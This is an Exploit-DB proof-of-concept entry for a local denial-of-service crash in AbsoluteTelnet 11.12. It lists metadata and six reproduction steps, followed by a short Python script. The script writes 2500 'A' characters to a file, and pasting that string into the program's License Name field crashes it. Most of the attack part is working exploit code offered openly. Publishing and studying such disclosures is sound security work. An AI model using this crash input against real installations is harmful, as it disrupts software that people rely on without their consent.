AbsoluteTelnet 11.12 - 'license name' Denial of Service (PoC)

EDB-ID:

48006

CVE:

N/A


Author:

chuyreds

Type:

dos


Platform:

Windows

Date:

2020-02-06


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# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es


#Steps to produce the crash:
#1.- Run python code: AbsoluteTelent 11.12_license_name.py
#2.- Open AbsoluteTelent_license_name.txt and copy content to clipboard
#3.- Open AbsoluteTelnet.exe
#4.- Select "Help" > "Enter License Key"
#5.- In "License Name" paste Clipboard
#6.- Crashed

cod = "\x41" * 2500

f = open('AbsoluteTelent_license_name.txt', 'w')
f.write(cod)
f.close()